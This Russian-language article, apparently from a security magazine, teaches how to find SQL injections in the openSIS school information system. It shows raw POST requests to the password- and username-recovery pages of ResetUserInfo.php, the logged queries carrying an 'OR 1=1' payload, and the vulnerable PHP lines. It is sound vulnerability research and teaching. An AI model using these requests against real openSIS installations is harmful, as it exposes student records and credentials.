Дыры в openSIS. Разбираем SQL-инъекции на живом примере

Содержание статьи

  • Логирование
  • Немного о SQLi
  • Неаутентифицированные SQLi
  • Аутентифицированные SQLi
  • School Setup
  • Students
  • Users
  • Валидация параметров
  • Выводы

В этой статье мы с тобой раз­берем нес­коль­ко видов SQL-инъ­екций на боевом при­мере — при­ложе­нии openSIS, в коде которо­го я нашел нес­коль­ко серь­езных проб­лем. Если ты хочешь научить­ся обна­ружи­вать потен­циаль­ные проб­лемы в коде на PHP, этот матери­ал дол­жен стать живой иллюс­тра­цией. Осо­бен­но она будет полез­на нович­кам, которые хотят разоб­рать­ся с темой SQLi. info

Ес­ли ты вдруг не в кур­се, как вооб­ще работа­ют SQL-инъ­екции, спе­циаль­но для тебя написа­на статья «SQL-инъ­екции. Раз­бира­ем на паль­цах одну из самых популяр­ных хакер­ских тех­ник».

openSIS — это бес­плат­ная и откры­тая информа­цион­ная сис­тема для учеб­ных заведе­ний, дос­тупная для школ и выс­ших учеб­ных заведе­ний. Она раз­работа­на и под­держи­вает­ся ком­пани­ей Open Solutions for Education.

Я уста­новил это при­ложе­ние локаль­но, что поз­волило мне видеть все зап­росы, отправ­ляемые им в базу дан­ных. Дру­гими сло­вами, тес­тирова­ние про­води­лось методом белого ящи­ка: зна­ние кода и струк­туры дан­ных поз­волило тща­тель­но изу­чить, как обра­баты­вает­ся то, что ввел поль­зователь, и как фор­миру­ются SQL-зап­росы.

Я искал те мес­та в коде, где ввод под­став­ляет­ся в SQL-зап­рос без дол­жной про­вер­ки и чис­тки (валида­ции и санити­зации). Давай пос­мотрим, что мне уда­лось най­ти.

warning

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

 

Логирование

Пер­вым делом нам пот­ребу­ется нас­тро­ить логиро­вание зап­росов к базе дан­ных. То есть нам нуж­но записы­вать выпол­няемые зап­росы к базе, что­бы потом по ним мож­но было пос­мотреть, как прог­рамма реаги­рова­ла на то, что поль­зователь вво­дил на сай­те. Это поможет нам наг­ляднее уви­деть проб­лемы и вос­поль­зовать­ся ими.

В MySQL или MariaDB для вклю­чения логиро­вания нуж­но выпол­нить сле­дующее:

  • Соз­дать файл mysql.log в дирек­тории /var/log/mysql.
  • Изме­нить пра­ва на файл или пап­ку и пре­дос­тавить раз­решения поль­зовате­лю mysql:

    chown mysql:mysql /var/log/mysql -R

  • Открыть файл с нас­трой­ками MySQL/MariaDB, обыч­но рас­положен­ный в /etc/mysql/my.cnf или /etc/my.cnf.

  • Най­ти сек­цию [mysqld] (если ее нет, добавить самос­тоятель­но).

  • Добавить или рас­коммен­тировать сле­дующие стро­ки для вклю­чения логиро­вания зап­росов:

    general_log = 1general_log_file = /var/log/mysql/mysql.log

  • Переза­пус­тить сер­вис MySQL/MariaDB, что­бы изме­нения всту­пили в силу.

  •  

    Немного о SQLi

    За­бегая впе­ред, ска­жу, что мы най­дем (но не будем экс­плу­ати­ровать) «сле­пые» SQL-инъ­екции. В отли­чие от дру­гих форм SQLi, сле­пые SQL-инъ­екции не рас­кры­вают дан­ные нап­рямую и тре­буют тон­кого под­хода к извле­чению дан­ных. Сле­пые SQL-инъ­екции делят­ся на две основные катего­рии: на осно­ве булевых зна­чений и на осно­ве вре­мени.

    В булевой сле­пой SQLi мы изме­няем SQL-зап­рос так, что­бы сис­тема воз­вра­щала булево зна­чение — то есть ответ на то, истинно выраже­ние или лож­но. Этот тип ата­ки исполь­зует бинар­ную при­роду отве­тов: содер­жимое веб‑стра­ницы или код отве­та HTTP будет изме­нять­ся в зависи­мос­ти от истиннос­ти внед­ренно­го зап­роса. Нап­ример, изме­нение зап­роса может при­вес­ти к тому, что какие‑то эле­мен­ты на веб‑стра­нице будут появ­лять­ся и исче­зать в зависи­мос­ти от того, истинны ли резуль­таты зап­роса (усло­вие сущес­тву­ет в базе дан­ных) или лож­ны (его нет).

    Вре­мен­ные сле­пые SQL-инъ­екции более скрыт­ны. Здесь мы внед­ряем SQL-коман­ды, которые зас­тавля­ют базу дан­ных задумать­ся чуть доль­ше обыч­ного, и исполь­зуем это, что­бы вытащить из нее дан­ные. Отсутс­твие визу­аль­ной обратной свя­зи на стра­нице дела­ет эти ата­ки осо­бен­но труд­ными для обна­руже­ния. Если усло­вие зап­роса истинно, ответ базы дан­ных намерен­но задер­жива­ется, и отсутс­твие задер­жки озна­чает «ложь». Изме­ряя вре­мя отве­та, мы можем опре­делить наличие или отсутс­твие кон­крет­ных дан­ных в базе.

     

    Неаутентифицированные SQLi

    При поис­ке багов в при­ложе­нии ты дол­жен ори­енти­ровать­ся в пер­вую оче­редь на уяз­вимос­ти, которые не тре­буют аутен­тифика­ции поль­зовате­ля, так как они самые опас­ные. Я нашел две похожие SQL-инъ­екции в раз­деле «Сту­дент» в фун­кци­ях, отве­чающих за вос­ста­нов­ление име­ни поль­зовате­ля и пароля.

    Я отпра­вил два зап­роса: пер­вый, ими­тируя работу фор­мы Forgot Password, вто­рой — Forgot Username.

    Forgot Password:

    POST /openSIS/ResetUserInfo.php HTTP/1.1 Host: 192.168.147.131 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 pass_user_type=pass_student&pass_type_form=password&password_stn_id=XSS&uname=aaaaa&month_password_dob=04&day_password_dob=25&year_password_dob=2024&pass_email=bbbbb&password_stf_email=ccccc&TOKEN=697a3d1713a51879a79ee08052d4683c68d78a1c776f606e32e92127d04c33e5

    Forgot Username:

    POST /openSIS/ResetUserInfo.php HTTP/1.1 Host: 192.168.147.131 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 uname_user_type=uname_student&user_type_form=username&username_stn_id=XSS&pass=aaaaaaa&month_username_dob=04&day_username_dob=30&year_username_dob=2024&un_email=&username_stf_email=&TOKEN=bf2278f6caffbf561127ce91c29849fdff3b9add9d88dcd7118f8cf1fca807b5&save=Confirm

    Вот в какие SQL-зап­росы это тран­сфор­мирова­лось:

    Query SELECT s.* FROM students s,login_authentication la WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='aaaaa' AND s.BIRTHDATE='2024-04-25' AND s.STUDENT_ID=XSS AND la.PROFILE_ID=3Query SELECT la.PASSWORD FROM students s,login_authentication la WHERE la.USER_ID=s.STUDENT_ID AND s.BIRTHDATE='2024-04-30' AND la.PROFILE_ID=3 AND s.STUDENT_ID=XSS

    Как видишь, s.STUDENT_ID не зак­лючен в кавыч­ки, что дела­ет эту перемен­ную уяз­вимой для SQL-инъ­екций. Я могу исполь­зовать полез­ную наг­рузку XSS OR 1=1:

    tail -f /var/log/mysql/mysql.log | grep -i 'xss'2024-04-27T13:35:15.303711Z 9 Query SELECT s.* FROM students s,login_authentication la WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='aaaaa' AND s.BIRTHDATE='2024-04-25' AND s.STUDENT_ID=XSS OR 1=1 AND la.PROFILE_ID=3 2024-04-27T13:35:29.563796Z 10 Query SELECT la.PASSWORD FROM students s,login_authentication la WHERE la.USER_ID=s.STUDENT_ID AND s.BIRTHDATE='2024-04-30' AND la.PROFILE_ID=3 AND s.STUDENT_ID=XSS OR 1=1

    Вот как выг­лядит уяз­вимый код для вос­ста­нов­ления юзер­ней­ма. Файл ResetUserInfo.php, стро­ка 395:

    $get_stu_info = DBGet(DBQuery('SELECT la.PASSWORD FROM students s,login_authentication la WHERE la.USER_ID=s.STUDENT_ID AND s.BIRTHDATE='' . date('Y-m-d', strtotime($stu_dob)) . '' AND la.PROFILE_ID=3 AND s.STUDENT_ID=' . $username_stn_id . ''));

    А вот уяз­вимый код, который обра­баты­вает фор­му вос­ста­нов­ления пароля. Файл ResetUserInfo.php, стро­ка 296:

    $stu_info = DBGet(DBQuery('SELECT s.* FROM students s,login_authentication la WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='' . $uname . '' AND s.BIRTHDATE='' . date('Y-m-d', strtotime($stu_dob)) . '' AND s.STUDENT_ID=' . $password_stn_id . ' AND la.PROFILE_ID=3'));

    От­сюда мы можем понять, что если греп­нуть по выраже­нию =' . $, то мы, веро­ятно, получим все парамет­ры, которые не зак­лючены в кавыч­ки.

    Источник: xakep.ru

    Ответить

    Ваш адрес email не будет опубликован. Обязательные поля помечены *